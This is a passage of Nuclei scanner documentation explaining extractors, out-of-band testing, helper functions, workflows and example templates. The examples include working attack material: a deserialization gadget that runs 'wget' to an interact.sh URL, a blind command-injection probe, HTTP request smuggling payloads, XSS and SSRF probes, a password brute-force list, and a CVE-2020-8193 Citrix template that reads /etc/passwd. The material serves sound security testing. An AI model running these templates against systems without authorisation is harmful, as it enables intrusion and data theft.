      - type: json # type of the extractor
        part: body
        name: user
        json:
          - '.[] | .id'  # JQ like syntax for extraction
```

For more details about JQ - https://github.com/stedolan/jq

Xpath Extractor

A **xpath** extractor example to extract value of `href` attribute from HTML response.

```
extractors:
  - type: xpath # type of the extractor
    attribute: href # attribute value to extract (optional)
    xpath:
      - '/html/body/div/p[2]/a' # xpath value for extraction
```

With a simple copy paste in browser, we can get the **xpath** value form any web page content.

DSL Extractor

A **dsl** extractor example to extract the effective `body` length through the `len` helper function from HTTP Response.

```
extractors:
  - type: dsl  # type of the extractor
    dsl:
      - len(body) # dsl expression value to extract from response
```

Dynamic Extractor

Extractors can be used to capture Dynamic Values on runtime while writing Multi-Request templates. CSRF Tokens, Session Headers, etc. can be extracted and used in requests. This feature is only available in RAW request format.

Example of defining a dynamic extractor with name `api` which will capture a regex based pattern from the request.

```
    extractors:
      - type: regex
        name: api
        part: body
        internal: true # Required for using dynamic variables
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"
```

The extracted value is stored in the variable **api**, which can be utilised in any section of the subsequent requests.

If you want to use extractor as a dynamic variable, you must use `internal: true` to avoid printing extracted values in the terminal.

An optional regex **match-group** can also be specified for the regex for more complex matches.

```
extractors:
  - type: regex  # type of extractor
    name: csrf_token # defining the variable name
    part: body # part of response to look for
    # group defines the matching group being used.
    # In GO the "match" is the full array of all matches and submatches
    # match[0] is the full match
    # match[n] is the submatches. Most often we'd want match[1] as depicted below
    group: 1
    regex:
      - '<input\sname="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})"\s/>'
```

The above extractor with name `csrf_token` will hold the value extracted by `([[:alnum:]]{16})` as `abcdefgh12345678`.

If no group option is provided with this regex, the above extractor with name `csrf_token` will hold the full match (by `<input name="csrf_token"\stype="hidden"\svalue="([[:alnum:]]{16})" />`) as `<input name="csrf_token" type="hidden" value="abcdefgh12345678" />`.

2.8 OOB Testing

Since release of Nuclei v2.3.6, Nuclei supports using the interact.sh API to achieve OOB based vulnerability scanning with automatic Request correlation built in. It's as easy as writing `{{interactsh-url}}` anywhere in the request, and adding a matcher for `interact_protocol`. Nuclei will handle correlation of the interaction to the template & the request it was generated from allowing effortless OOB scanning.

Interactsh Placeholder

`{{interactsh-url}}` placeholder is supported in **http** and **network** requests.

An example of nuclei request with `{{interactsh-url}}` placeholders is provided below. These are replaced on runtime with unique interact.sh URLs.

```
  - raw:
      - |
        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=https://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
```

Interactsh Matchers

Interactsh interactions can be used with `word`, `regex` or `dsl` matcher/extractor using following parts.

part
interactsh_protocol
interactsh_request
interactsh_response

interactsh_protocol

Value can be dns, http or smtp. This is the standard matcher for every interactsh based template with DNS often as the common value as it is very non-intrusive in nature.

interactsh_request

The request that the interact.sh server received.

interactsh_response

The response that the interact.sh server sent to the client.

Example of Interactsh DNS Interaction matcher:

```
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
```

Example of HTTP Interaction matcher + word matcher on Interaction content

```yaml
matchers-condition: and
matchers:
    - type: word
      part: interactsh_protocol # Confirms the HTTP Interaction
      words:
        - "http"

    - type: regex
      part: interactsh_request # Confirms the retrieval of /etc/passwd file
      regex:
        - "root:[x*]:0:0:"
```

2.9 Helper Functions

HELPER FUNCTIONS

Here is the list of all supported helper functions can be used in the RAW requests / Network requests.

Helper function	Description	Example
aes_gcm(key, plaintext interface{}) []byte	AES GCM encrypts a string with key	`{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext")`
base64(src interface{}) string	Base64 encodes a string	`base64("Hello")`
base64_decode(src interface{}) []byte	Base64 decodes a string	`base64_decode("SGVsbG8=")`
base64_py(src interface{}) string	Encodes string to base64 like python (with new lines)	`base64_py("Hello")`
bin_to_dec(binaryNumber number | string) float64	Transforms the input binary number into a decimal format	`bin_to_dec("0b1010")` `bin_to_dec(1010)`
compare_versions(versionToCheck string, constraints ...string) bool	Compares the first version argument with the provided constraints	`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`
concat(arguments ...interface{}) string	Concatenates the given number of arguments to form a string	`concat("Hello", 123, "world)`
contains(input, substring interface{}) bool	Verifies if a string contains a substring	`contains("Hello", "lo")`
contains_all(input interface{}, substrings ...string) bool	Verifies if any input contains all of the substrings	`contains("Hello everyone", "lo", "every")`
contains_any(input interface{}, substrings ...string) bool	Verifies if an input contains any of substrings	`contains("Hello everyone", "abc", "llo")`
date_time(dateTimeFormat string, optionalUnixTime interface{}) string	Returns the formatted date time using simplified or `go` style layout for the current or the given unix time	`date_time("%Y-%M-%D %H:%m")` `date_time("%Y-%M-%D %H:%m", 1654870680)` `date_time("2006-01-02 15:04", unix_time())`
dec_to_hex(number number | string) string	Transforms the input number into hexadecimal format	`dec_to_hex(7001)"`

DESERIALIZATION HELPER FUNCTIONS

Nuclei allows payload generation for a few common gadget from ysoserial.

Supported Payload:

- `dns` (URLDNS)
- `commons-collections3.1`
- `commons-collections4.0`
- `jdk7u21`
- `jdk8u20`
- `groovy1`

Supported encodings:

- `base64` (default)
- `gzip-base64`
- `gzip`
- `hex`
- `raw`

Deserialization helper function format:

```
{{generate_java_gadget(payload, cmd, encoding}}
```

Deserialization helper function example:

```
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
```

JSON HELPER FUNCTIONS

Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:

- `generate_jwt`, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
- `json_minify`, to minifies a JSON string by removing unnecessary whitespace.
- `json_prettify`, to prettifies a JSON string by adding indentation.

Examples

`generate_jwt`

To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, at least.

Here is a list of supported algorithms for generating JWTs with `generate_jwt` function (case-insensitive):

- `HS256`
- `HS384`
- `HS512`
- `RS256`
- `RS384`
- `RS512`
- `PS256`
- `PS384`
- `PS512`
- `ES256`
- `ES384`
- `ES512`
- `EdDSA`
- `NONE`

Empty string ("") also means `NONE`.

Format:

```
{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}
```

> Arguments other than `json` are optional.

Example:

```
variables:
  json: | # required
    {
      "foo": "bar",
      "name": "John Doe"
    }
  alg: "HS256" # optional
  sig: "this_is_secret" # optional
  age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
  jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'
```

> The `maxAgeUnix` argument is to set the expiration `"exp"` JWT standard claim, as well as the `"iat"` claim when you call the function.

`json_minify`

Format:

```
{{json_minify(json)}}
```

Example:

```
variables:
  json: |
    {
      "foo": "bar",
      "name": "John Doe"
    }
  minify: '{{json_minify(json)}}'
```

`minify` variable output:

```
{"foo":"bar","name":"John Doe"}
```

`json_prettify`

Format:

```
{{json_prettify(json)}}
```

Example:

```
variables:
  json: '{"foo":"bar","name":"John Doe"}'
  pretty: '{{json_prettify(json)}}'
```

`pretty` variable output:

```
{
  "foo": "bar",
  "name": "John Doe"
}
```

2.10 Variables

Variables

Variables can be used to declare some values which remain constant throughout the template. The value of the variable once calculated does not change. Variables can be either simple strings or DSL helper functions. If the variable is a helper function, it is enclosed in double-curly brackets `{{<expression>}}`. Variables are declared at template level.

Example variables -

```
variables:
  a1: "test" # A string variable
  a2: "{{to_lower(rand_base(5))}}" # A DSL function variable
```

Currently, `dns`, `http`, `headless` and `network` protocols support variables.

Example of templates with variables -

```
# Variable example using HTTP requests
id: variables-example

info:
  name: Variables Example
  author: pdteam
  severity: info

variables:
  a1: "value"
  a2: "{{base64('hello')}}"

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{FQDN}}
        Test: {{a1}}
        Another: {{a2}}
    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "value"
          - "aGVsbG8="
```

```
# Variable example for network requests
id: variables-example

info:
  name: Variables Example
  author: pdteam
  severity: info

variables:
  a1: "PING"
  a2: "{{base64('hello')}}"

network:
  - host:
      - "{{Hostname}}"
    inputs:
      - data: "{{a1}}"
    read-size: 8
    matchers:
      - type: word
        part: data
        words:
          - "{{a2}}"
```

2.11 Preprocessors

2.11.1 Template **Preprocessors**

Certain pre-processors can be specified globally anywhere in the template that run as soon as the template is loaded to achieve things like random ids generated for each template run.

randstr

Info

Generates a random ID for a template on each nuclei run. This can be used anywhere in the template and will always contain the same value. `randstr` can be suffixed by a number, and new random ids will be created for those names too. Ex. `{{randstr_1}}` which will remain same across the template.

`randstr` is also supported within matchers and can be used to match the inputs.

For example:-

```yaml
requests:
  - method: POST
    path:
      - "{{BaseURL}}/level1/application/"
    headers:
      cmd: echo '{{randstr}}'

    matchers:
      - type: word
        words:
          - '{{randstr}}'
```

2.12 Workflows

Workflows

Workflows allow users to define an execution sequence for templates. The templates will be run on the defined conditions. These are the most efficient way to use nuclei, where all the templates are configured based on needs of users. This means, you can create Technology Based / Target based workflows, like WordPress Workflow, Jira Workflow which only run when the specific technology is detected.

All templates part of a workflow share a common execution context, hence the named extractors from a template are accessible to other templates just by referring to it with its name.

If the tech stack is known, we recommend creating your custom workflows to run your scans. This leads to much lower scan times with better results.

Workflows can be defined with `workflows` attribute, following the `template` / `subtemplates` and `tags` to execute.

```yaml
workflows:
  - template: technologies/template-to-execute.yaml
```

Type of workflows

1. Generic workflows
2. Conditional workflows

GENERIC WORKFLOWS

In generic workflow one can define single or multiple template to be executed from a single workflow file. It supports both files and directories as input.

A workflow that runs all config related templates on the list of give URLs.

```yaml
workflows:
  - template: files/git-config.yaml
  - template: files/svn-config.yaml
  - template: files/env-file.yaml
  - template: files/backup-files.yaml
  - tags: xss,ssrf,cve,lfi
```

A workflow that runs specific list of checks defined for your project.

```yaml
workflows:
  - template: cves/
  - template: exposed-tokens/
  - template: exposures/
  - tags: exposures
```

CONDITIONAL WORKFLOWS

You can also create conditional templates which execute after matching the condition from a previous template. This is mostly useful for vulnerability detection and exploitation as well as tech based detection and exploitation. Use-cases for this kind of workflows are vast and varied.

Templates based condition check

A workflow that executes subtemplates when base template gets matched.

```yaml
workflows:
  - template: technologies/jira-detect.yaml
    subtemplates:
      - tags: jira
      - template: exploits/jira/
```

Matcher Name based condition check

A workflow that executes subtemplates when a matcher of base template is found in result.

```yaml
workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: vbulletin
        subtemplates:
          - template: exploits/vbulletin-exp1.yaml
          - template: exploits/vbulletin-exp2.yaml
      - name: jboss
        subtemplates:
          - template: exploits/jboss-exp1.yaml
          - template: exploits/jboss-exp2.yaml
```

In similar manner, one can create as many and as nested checks for workflows as needed.

Subtemplate and matcher name based multi level conditional check

A workflow showcasing chain of template executions that run only if the previous templates get matched.

```yaml
workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: lotus-domino
        subtemplates:
          - template: technologies/lotus-domino-version.yaml
            subtemplates:
              - template: cves/xx-yy-zz.yaml
                subtemplates:
                  - template: cves/xx-xx-xx.yaml
```

Conditional workflows are great examples of performing checks and vulnerability detection in most efficient manner instead of spraying all the templates on all the targets and generally come with good ROI on your time and is gentle for the targets as well.

SHARED EXECUTION CONTEXT

Nuclei engine supports transparent workflow cookiejar and key-value sharing across templates parts of a same workflow. Here follow an example of a workflow that extract a value from the first template and use it in the second conditional one:

```yaml
id: key-value-sharing-example
info:
  name: Key Value Sharing Example
  author: pdteam
  severity: info

workflows:
  - template: template-with-named-extractor.yaml
    subtemplates:
      - template: template-using-named-extractor.yaml
```

For example, the following templates extract `href` links from a target web page body and make the value available under the `extracted` key:

```yaml
# template-with-named-extractor.yaml

id: value-sharing-template1

info:
  name: value-sharing-template1
  author: pdteam
  severity: info

requests:
  - path:
      - "{{BaseURL}}/path1"
    extractors:
      - type: regex
        part: body
        name: extracted
        regex:
          - 'href="(.*)"'
        group: 1
```

Finally the second template in the workflow will use the obtained value by referencing the extractor name (`extracted`):

```yaml
# template-using-named-extractor.yaml

id: value-sharing-template2

info:
  name: value-sharing-template2
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        GET /path2 HTTP/1.1
        Host: {{Hostname}}

        {{extracted}}
```

More complete workflow examples are provided here

3. Template Examples

3.1 HTTP

3.1.1 Base HTTP

BASIC TEMPLATE

This template requests `/` path of URL and match string in the response.

```yaml
id: basic-example

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "This is test matcher text"
```

MULTIPLE MATCHERS

This template requests `/` path of URL and run multiple OR based matchers against response.

```yaml
id: http-multiple-matchers

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        name: php
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        part: header

      - type: word
        name: node
        words:
          - "Server: NodeJS"
          - "X-Powered-By: nodejs"
        condition: or
        part: header

      - type: word
        name: python
        words:
          - "Python/2."
          - "Python/3."
        part: header
```

MATCHERS WITH CONDITIONS

This template requests `/` path of URL and runs two matchers, one with AND conditions with string match in header and another matcher against response body.

```yaml
id: matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: and
        part: header

      - type: word
        words:
          - "PHP"
        part: body
```

MULTIPLE MATCHER CONDITIONS

This template requests `/` path of URL and runs two matchers with AND conditions, one with OR conditions with string match in header and another matcher against response body, both condition has to be true in order to match this template.

```yaml
id: multiple-matchers-conditions

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "X-Powered-By: PHP"
          - "PHPSESSID"
        condition: or
        part: header

      - type: word
        words:
          - PHP
        part: body
```

CUSTOM HEADERS

This template requests `/` path of the URL as GET request with additional custom headers defined in the template.

```yaml
id: custom-headers
```

```yaml
info:
  name: Test HTTP Template
  author: pdteam
  severity: info

requests:
  - method: GET

    # Example of sending some headers to the servers

    headers:

      X-Client-IP: 127.0.0.1
      X-Remote-IP: 127.0.0.1
      X-Remote-Addr: 127.0.0.1
      X-Forwarded-For: 127.0.0.1
      X-Originating-IP: 127.0.0.1

    path:
      - "{{BaseURL}}/server-status"

    matchers:
      - type: word
        words:
          - Apache Server Status
          - Server Version
        condition: and
```

POST REQUESTS

This template makes POST request to `/admin` endpoint with defined data as body parameter in the template.

```yaml
id: post-request

info:
  name: Test HTTP Template
  author: pdteam
  severity: info

requests:
  - method: POST
    path:
      - "{{BaseURL}}/admin"

    body: 'admin=test'

    matchers:
      - type: word
        words:
          - Welcome Admin
```

TIME BASED MATCHER

This template is example of DSL based duration matcher that returns `true` when the response time matched the defined duration, in this case 6 or more than 6 seconds.

```yaml
id: time-based-matcher

info:
  name: DSL based response time matcher
  author: pdteam
  severity: none

requests:
  - raw:
      - |
        GET /slow HTTP/1.1

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
```

3.1.2 Raw HTTP

BASIC TEMPLATE

This template makes GET request to `/` path in RAW format and checking for string match against response.

```yaml
id: basic-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Connection: close
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
        Accept-Language: en-US,en;q=0.9

    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```

MULTIPLE RAW REQUEST

This template makes GET and POST request sequentially in RAW format and checking for string match against response.

```yaml
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Connection: close
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
        Accept-Language: en-US,en;q=0.9

      - |
        POST /testing HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Connection: close
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
        Accept-Language: en-US,en;q=0.9

        testing=parameter

    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```

3.1.3 HTTP Fuzzing

BASIC SSTI TEMPLATE

A simple template to discover `{{<number>*<number>}}` type SSTI vulnerabilities.

```yaml
id: fuzz-reflection-ssti

info:
  name: Basic Reflection Potential SSTI Detection
  author: pdteam
  severity: low

variables:
  first: "{{rand_int(10000, 99999)}}"
  second: "{{rand_int(10000, 99999)}}"
  result: "{{to_number(first)*to_number(second)}}"

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    payloads:
      reflection:
        - '{{concat("{{", "§first§*§second§", "}}")}}'
    fuzzing:
      - part: query
        type: postfix
        mode: multiple
        fuzz:
          - "{{reflection}}"
    matchers:
      - type: word
        part: body
        words:
          - "{{result}}"
```

BASIC XSS TEMPLATE

A simple template to discover XSS probe reflection in HTML pages.

```yaml
id: fuzz-reflection-xss

info:
  name: Basic Reflection Potential XSS Detection
  author: pdteam
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    payloads:
      reflection:
        - "6842'\"><9967"
    stop-at-first-match: true
    fuzzing:
      - part: query
        type: postfix
        mode: single
        fuzz:
          - "{{reflection}}"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{reflection}}"
      - type: word
        part: header
        words:
          - "text/html"
```

BASIC OPENREDIRECT TEMPLATE

A simple template to discover open-redirects issues.

```yaml
id: fuzz-open-redirect

info:
  name: Basic Open Redirect Detection
  author: pdteam
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    payloads:
      redirect:
        - "https://example.com"
    fuzzing:
      - part: query
        type: replace
        mode: single
        keys-regex:
          - "redirect.*"
        fuzz:
          - "{{redirect}}"
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "{{redirect}}"
      - type: status
        status:
          - 301
          - 302
          - 307
```

BLIND SSRF OOB DETECTION

A simple template to detect Blind SSRF in known-parameters using interact.sh with HTTP fuzzing.

```yaml
id: fuzz-ssrf

info:
  name: Basic Blind SSRF Detection
  author: pdteam
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    payloads:
      redirect:
        - "{{interactsh-url}}"
    fuzzing:
      - part: query
        type: replace
        mode: single
        keys:
          - "dest"
          - "redirect"
          - "uri"
          - "path"
          - "continue"
          - "url"
          - "window"
          - "next"
          - "data"
          - "reference"
          - "site"
          - "html"
          - "val"
          - "validate"
          - "domain"
          - "callback"
          - "return"
          - "page"
          - "feed"
          - "host"
          - "port"
          - "to"
          - "out"
          - "view"
          - "dir"
          - "show"
          - "navigation"
          - "open"
        fuzz:
          - "https://{{redirect}}"
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "http"
```

BLIND CMDI OOB BASED DETECTION

A simple template to detect blind CMDI using interact.sh

```
id: fuzz-cmdi

info:
  name: Basic Blind CMDI Detection
  author: pdteam
  severity: low

requests:
  - method: GET
    path:
      - "{{BaseURL}}"
    payloads:
      redirect:
        - "{{interactsh-url}}"
    fuzzing:
        fuzz:
          - "nslookup {{redirect}}"
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"
```

3.1.4 Unsafe HTTP

BASIC CL.TE

This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.

```
id: CL-TE-http-smuggling

info:
  name: HTTP request smuggling, basic CL.TE vulnerability
  author: pdteam
  severity: info
  reference: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

requests:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked

      0

      G
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Connection: keep-alive
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 6
      Transfer-Encoding: chunked

      0

      G

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Unrecognized method GPOST")'
```

BASIC TE.CL

This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.

```
id: TE-CL-http-smuggling

info:
  name: HTTP request smuggling, basic TE.CL vulnerability
  author: pdteam
  severity: info
  reference: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

requests:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5c
      GPOST / HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
```

```
        Content-Length: 15

        x=1
        0
      - |+
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked

        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15

        x=1
        0

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Unrecognized method GPOST")'
```

FRONTEND BYPASS CL.TE

This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.

```
id: smuggling-bypass-front-end-controls-cl-te

info:
  name: HTTP request smuggling to bypass front-end security controls, CL.TE vulnerability
  author: pdteam
  severity: info
  reference: https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te

requests:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 116
      Transfer-Encoding: chunked

      0

      GET /admin HTTP/1.1
      Host: localhost
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 10

      x=
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 116
      Transfer-Encoding: chunked

      0

      GET /admin HTTP/1.1
      Host: localhost
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 10

      x=

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/admin/delete?username=carlos")'
```

DIFFERENTIAL RESPONSES BASED CL.TE

This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.

```yaml
id: confirming-cl-te-via-differential-responses-http-smuggling

info:
  name: HTTP request smuggling, confirming a CL.TE vulnerability via differential responses
  author: pdteam
  severity: info
  reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses

requests:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 35
      Transfer-Encoding: chunked

      0

      GET /404 HTTP/1.1
      X-Ignore: X
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 35
      Transfer-Encoding: chunked

      0

      GET /404 HTTP/1.1
      X-Ignore: X

    unsafe: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code==404'
```

DIFFERENTIAL RESPONSES BASED TE.CL

This template makes a defined malformed HTTP POST requests using rawhttp library and checking for string match against response.

```yaml
id: confirming-te-cl-via-differential-responses-http-smuggling

info:
  name: HTTP request smuggling, confirming a TE.CL vulnerability via differential responses
  author: pdteam
  severity: info
  reference: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses

requests:
  - raw:
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0
    - |+
      POST / HTTP/1.1
      Host: {{Hostname}}
      Content-Type: application/x-www-form-urlencoded
      Content-length: 4
      Transfer-Encoding: chunked

      5e
      POST /404 HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      x=1
      0

    unsafe: true
    matchers:
      - type: dsl
      dsl:
        - 'status_code==404'
```

3.1.5 HTTP Payloads

HTTP INTRUDER FUZZING

This template makes a defined POST request in RAW format along with in template defined payloads running `clusterbomb` intruder and checking for string match against response.

```
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

# HTTP Intruder fuzzing with in template payload support.

requests:

  - raw:
      - |
        POST /?username=§username§&paramb=§password§ HTTP/1.1
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5)
        Host: {{Hostname}}
        another_header: {{base64('§password§')}}
        Accept: */*
        body=test

    payloads:
      username:
        - admin

      password:
        - admin
        - guest
        - password
        - test
        - 12345
        - 123456

    attack: clusterbomb # Available: batteringram,pitchfork,clusterbomb

    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```

FUZZING MULTIPLE REQUESTS

This template makes a defined POST request in RAW format along with wordlist based payloads running `clusterbomb` intruder and checking for string match against response.

```
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

requests:

  - raw:
      - |
        POST /?param_a=§param_a§&paramb=§param_b§ HTTP/1.1
        User-Agent: §param_a§
        Host: {{Hostname}}
        another_header: {{base64('§param_b§')}}
        Accept: */*

        admin=test

      - |
        DELETE / HTTP/1.1
        User-Agent: nuclei
        Host: {{Hostname}}

        {{sha256('§param_a§')}}

      - |
        PUT / HTTP/1.1
        Host: {{Hostname}}

        {{html_escape('§param_a§')}} + {{hex_encode('§param_b§'))}}

    attack: clusterbomb # Available types: batteringram,pitchfork,clusterbomb
    payloads:
      param_a: payloads/prams.txt
      param_b: payloads/paths.txt

    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```

AUTHENTICATED FUZZING

This template makes a subsequent HTTP requests with defined requests maintaining sessions between each request and checking for string match against response.

```
id: multiple-raw-example
info:
  name: Test RAW Template
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

      - |
        POST /testing HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

        testing=parameter

    cookie-reuse: true # Cookie-reuse maintain the session between all request like browser.
    matchers:
      - type: word
        words:
          - "Test is test matcher text"
```

DYNAMIC VARIABLE SUPPORT

This template makes a subsequent HTTP requests maintaining sessions between each request, dynamically extracting data from one request and reusing them into another request using variable name and checking for string match against response.

```
id: CVE-2020-8193

info:
  name: Citrix unauthenticated LFI
  author: pdteam
  severity: high
  reference: https://github.com/jas502n/CVE-2020-8193

requests:
  - raw:
      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
        Content-Type: application/xml
        X-NITRO-USER: xpyZxwy6
        X-NITRO-PASS: xWXHUJ56

        <appfwprofile><login></login></appfwprofile>

      - |
        GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/neo HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        GET /menu/stc HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close

      - |
        POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

      - |
        POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.24.0
        Accept: */*
        Connection: close
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
        rand_key: §randkey§

        <clipermission></clipermission>

    cookie-reuse: true # Using cookie-reuse to maintain session between each request, same as browser.

    extractors:
      - type: regex
        name: randkey # Variable name
        part: body
        internal: true
        regex:
          - "(?m)[0-9]{3,10}\\.[0-9]+"

    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
        part: body
```

3.1.6 Race Condition

RACE CONDITION TESTING WITH SINGLE POST REQUEST.

This template makes a defined POST request in RAW format to `/coupons` endpoint, as the `race_count` is defined as `10`, this will make 10 requests at same time by holding last bytes for all the requests which sent together for all requests synchronizing the send event.

You can also define the matcher as any other template for the expected output which helps to identify if the race condition exploit worked or not.

```
id: race-condition-testing

info:
  name: Race Condition testing
  author: pdteam
  severity: info

requests:
  - raw:
      - |
        POST /coupons HTTP/1.1
        Host: {{Hostname}}
        Pragma: no-cache
        Cache-Control: no-cache, no-transform
        User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
        Cookie: user_session=42332423342987567896

        promo_code=20OFF

    race: true
    race_count: 10

